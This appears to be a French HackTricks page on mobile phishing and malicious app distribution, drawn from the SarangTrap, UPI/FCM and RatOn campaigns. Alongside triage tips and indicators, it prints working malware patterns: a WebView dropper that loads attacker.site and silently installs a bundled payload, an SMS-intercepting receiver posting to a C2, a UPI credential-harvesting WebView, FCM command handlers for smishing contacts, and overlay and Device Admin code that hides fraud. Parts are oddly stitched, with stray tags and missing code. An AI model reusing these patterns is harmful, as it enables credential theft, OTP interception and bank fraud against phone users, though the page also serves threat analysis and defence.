Mobile Phishing & Distribution d’applications malveillantes (Android & iOS)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

• Vérifiez les plans d’abonnement !
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.

[!INFO] Cette page couvre les techniques utilisées par des acteurs de menace pour distribuer malicious Android APKs et iOS mobile-configuration profiles via phishing (SEO, social engineering, fake stores, dating apps, etc.). Le matériel est adapté de la campagne SarangTrap exposée par Zimperium zLabs (2025) et d’autres recherches publiques.

Flux d’attaque

1. Infrastructure SEO/Phishing

• Enregistrer des dizaines de domaines look‑alike (dating, cloud share, car service…). – Utiliser des mots‑clés en langue locale et des emojis dans l’élément <title> pour remonter dans Google. – Héberger à la fois les instructions d’installation Android (.apk) et iOS sur la même landing page.

2. Téléchargement initial

• Android : lien direct vers un APK unsigned ou provenant d’un “third‑party store”.
• iOS : itms-services:// ou lien HTTPS simple vers un mobileconfig malveillant (voir ci‑dessous).

3. Social engineering post‑installation

• Au premier lancement, l’app demande un invitation / verification code (illusion d’accès exclusif).
• Le code est POSTed over HTTP vers le Command‑and‑Control (C2).
• Le C2 répond {"success":true} ➜ le malware continue.
• Une analyse dynamique Sandbox / AV qui ne soumet jamais de code valide ne voit aucun comportement malveillant (evasion).

4. Abus des permissions à l’exécution (Android)

• Les permissions dangereuses ne sont demandées qu’après une réponse positive du C2 :

<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Older builds also asked for SMS permissions -->

• Les variantes récentes retirent <uses-permission> pour SMS de AndroidManifest.xml mais laissent le chemin Java/Kotlin qui lit les SMS via reflection ⇒ baisse du score statique tout en restant fonctionnel sur des appareils qui accordent la permission via AppOps abuse ou des cibles anciennes.

5. Android 13+ Restricted settings & contournement de dropper (style SecuriDropper)

• Android 13 a introduit des Restricted settings pour les apps sideloadées : les bascules Accessibility et Notification Listener sont grisées tant que l’utilisateur n’a pas explicitement autorisé les restricted settings dans App info.
• Les pages de phishing et les droppers fournissent maintenant des instructions UI pas‑à‑pas pour autoriser les restricted settings pour l’app sideloadée puis activer l’accès Accessibility/Notification.
• Un contournement plus récent consiste à installer le payload via un session‑based PackageInstaller flow (la même méthode utilisée par les app stores). Android traite l’app comme store‑installed, donc Restricted settings ne bloque plus Accessibility.
• Astuce de triage : dans un dropper, grep pour PackageInstaller.createSession/openSession plus du code qui navigue immédiatement la victime vers ACTION_ACCESSIBILITY_SETTINGS ou ACTION_NOTIFICATION_LISTENER_SETTINGS.

6. Interface factice & collecte en arrière‑plan

• L’app affiche des vues inoffensives (visualiseur SMS, sélecteur de galerie) implémentées localement.
• Pendant ce temps elle exfiltre :

• IMEI / IMSI, numéro de téléphone
• Dump complet ContactsContract (tableau JSON)
• JPEG/PNG depuis /sdcard/DCIM compressés avec Luban pour réduire la taille
• Contenu SMS optionnel (content://sms) Les payloads sont batch‑zippés et envoyés via HTTP POST /upload.php.

7. Technique de livraison iOS

• Un seul mobile-configuration profile peut demander PayloadType=com.apple.sharedlicenses, com.apple.managedConfiguration etc. pour enrôler l’appareil dans une supervision de type “MDM”.
• Instructions de social engineering :

1. Ouvrir Réglages ➜ Profile downloaded.
2. Appuyer sur Install trois fois (captures d’écran sur la page de phishing).
3. Faire confiance au profil non signé ➜ l’attaquant obtient les droits Contacts et Photo sans revue App Store.
4. iOS Web Clip Payload (icône d’app phishing)

• Les payloads com.apple.webClip.managed peuvent épingler une URL de phishing à l’écran d’accueil avec une icône/étiquette brandée.
• Les Web Clips peuvent s’exécuter en full‑screen (cache l’UI du navigateur) et être marqués non‑removable, forçant la victime à supprimer le profile pour enlever l’icône.

9. Couche réseau

• HTTP en clair, souvent sur le port 80 avec un HOST header comme api.<phishingdomain>.com.
• User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001) (pas de TLS → facile à repérer).

Conseils Red‑Team

• Dynamic Analysis Bypass – Lors de l’évaluation du malware, automatiser la phase de code d’invitation avec Frida/Objection pour atteindre la branche malveillante.
• Manifest vs. Runtime Diff – Comparer aapt dump permissions avec PackageManager#getRequestedPermissions() à l’exécution ; l’absence de perms dangereuses est un indice.
• Network Canary – Configurer iptables -p tcp --dport 80 -j NFQUEUE pour détecter des rafales de POST non substantiées après la saisie du code.
• mobileconfig Inspection – Utiliser security cms -D -i profile.mobileconfig sur macOS pour lister PayloadContent et repérer les entitlements excessifs.

Extrait Frida utile : contournement automatique du code d’invitation

Indicateurs (génériques)

/req/checkCode.php        # invite code validation
/upload.php               # batched ZIP exfiltration
LubanCompress 1.1.8       # "Luban" string inside classes.dex

Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern

Ce schéma a été observé dans des campagnes exploitant des thématiques d’aides gouvernementales pour voler des identifiants UPI indiens et des OTP. Les opérateurs enchaînent des plateformes réputées pour la distribution et la résilience.

Chaîne de distribution via des plateformes de confiance

• Leurre vidéo YouTube → la description contient un lien court
• Lien court → site de phishing GitHub Pages imitant le portail légitime
• Le même repo GitHub héberge un APK avec un faux badge “Google Play” pointant directement vers le fichier
• Pages de phishing dynamiques hébergées sur Replit ; le canal de commandes à distance utilise Firebase Cloud Messaging (FCM)

Dropper with embedded payload and offline install

• Le premier APK est un installateur (dropper) qui contient le vrai malware à assets/app.apk et incite l’utilisateur à désactiver le Wi‑Fi/les données mobiles pour réduire la détection cloud.
• Le payload intégré s’installe sous un libellé anodin (par ex., “Secure Update”). Après l’installation, l’installateur et le payload sont présents comme applications distinctes.

Astuce de triage statique (grep pour embedded payloads) :

unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head

Découverte dynamique d’endpoints via un lien court

• Le malware récupère une liste en texte brut, séparée par des virgules, d’endpoints actifs depuis un lien court ; de simples transformations de chaînes produisent le chemin final de la page de phishing.

Exemple (extrait anonymisé):

GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload:           https://sqcepo.replit.app/addsm.php

Pseudo-code :

String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");

Collecte d’identifiants UPI via WebView

• L’étape “Make payment of ₹1 / UPI‑Lite” charge un formulaire HTML malveillant depuis le endpoint dynamique à l’intérieur d’un WebView et capture des champs sensibles (téléphone, banque, UPI PIN) qui sont POSTés vers addup.php.

Chargeur minimal :

WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm

Self-propagation and SMS/OTP interception

• Des autorisations agressives sont demandées au premier lancement :

<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>

• Les contacts sont parcourus en boucle pour envoyer massivement des SMS de smishing depuis l’appareil de la victime.
• Les SMS entrants sont interceptés par un broadcast receiver et téléversés avec des métadonnées (expéditeur, contenu, slot SIM, ID aléatoire par appareil) vers /addsm.php.

Schéma du receiver:

public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
for (SmsMessage m: msgs){
postForm(urlAddSms, new FormBody.Builder()
.add("senderNum", m.getOriginatingAddress())
.add("Message", m.getMessageBody())
.add("Slot", String.valueOf(getSimSlot(i)))
.add("Device rand", getOrMakeDeviceRand(c))
.build());
}
}

Firebase Cloud Messaging (FCM) comme un C2 résilient

• Le payload s’enregistre auprès de FCM ; les push messages transportent un champ _type utilisé comme commutateur pour déclencher des actions (par ex., mise à jour des templates de texte de phishing, activer/désactiver des comportements).

Exemple de payload FCM:

{
"to": "<device_fcm_token>",
"data": {
"_type": "update_texts",
"template": "New subsidy message..."
}
}

Esquisse du handler:

@Override
public void onMessageReceived(RemoteMessage msg){
String t = msg.getData().get("_type");
switch (t){
case "update_texts": applyTemplate(msg.getData().get("template")); break;
case "smish": sendSmishToContacts(); break;
// ... more remote actions
}
}

Indicateurs/IOCs

• L’APK contient un payload secondaire à assets/app.apk
• WebView charge le paiement depuis gate.htm et exfiltre vers /addup.php
• Exfiltration SMS vers /addsm.php
• Récupération de config via shortlink (p.ex., rebrand.ly/*) retournant des endpoints CSV
• Applications étiquetées comme génériques “Update/Secure Update”
• Messages data FCM avec un discriminateur _type dans des apps non fiables

APK Smuggling basé sur Socket.IO/WebSocket + fausses pages Google Play

Les attaquants remplacent de plus en plus les liens APK statiques par un canal Socket.IO/WebSocket intégré dans des leurres imitant Google Play. Cela dissimule l’URL du payload, contourne les filtres d’URL/extensions, et préserve une UX d’installation réaliste.

Flux client typique observé sur le terrain :

</details>

Pourquoi cela échappe aux contrôles simples :
- Aucune URL APK statique n'est exposée ; le payload est reconstruit en mémoire à partir des frames WebSocket.
- Les filtres URL/MIME/d'extension qui bloquent les réponses .apk directes peuvent ne pas détecter des données binaires tunnelisées via WebSockets/Socket.IO.
- Les crawlers et les URL sandboxes qui n'exécutent pas les WebSockets ne récupéreront pas le payload.

Voir aussi WebSocket tradecraft and tooling :

<a class="content_ref" href="../../pentesting-web/websocket-attacks.md"><span class="content_ref_label">WebSocket Attacks</span></a>


## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – étude de cas RatOn

La campagne RatOn banker/RAT (ThreatFabric) est un exemple concret de la façon dont les opérations modernes de mobile phishing combinent WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, et même NFC-relay orchestration. Cette section abstrait les techniques réutilisables.

### Stage-1: WebView → native install bridge (dropper)
Les attaquants présentent un WebView pointant vers une page d'attaquant et injectent une interface JavaScript qui expose un native installer. Un tap sur un bouton HTML appelle du code natif qui installe un APK de second-stage inclus dans les assets du dropper, puis le lance directement.

Schéma minimal :

<details>
<summary>Stage-1 dropper minimal pattern (Java)</summary>
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}

<button onclick="bridge.installApk()">Install</button>

Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);

if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}

{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}

dpm.lockNow();

dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner

dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);

</details>

Overlays bloquants pour masquer la fraude :
- Afficher un `TYPE_ACCESSIBILITY_OVERLAY` plein écran avec une opacité contrôlée par l'opérateur ; le garder opaque pour la victime pendant que l'automatisation distante s'exécute en dessous.
- Commandes généralement exposées : `opacityOverlay <0..255>`, `sendOverlayLoading <html/url>`, `removeOverlay`.

Overlay minimal avec alpha ajustable :
```java
View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
wm.addView(v, lp);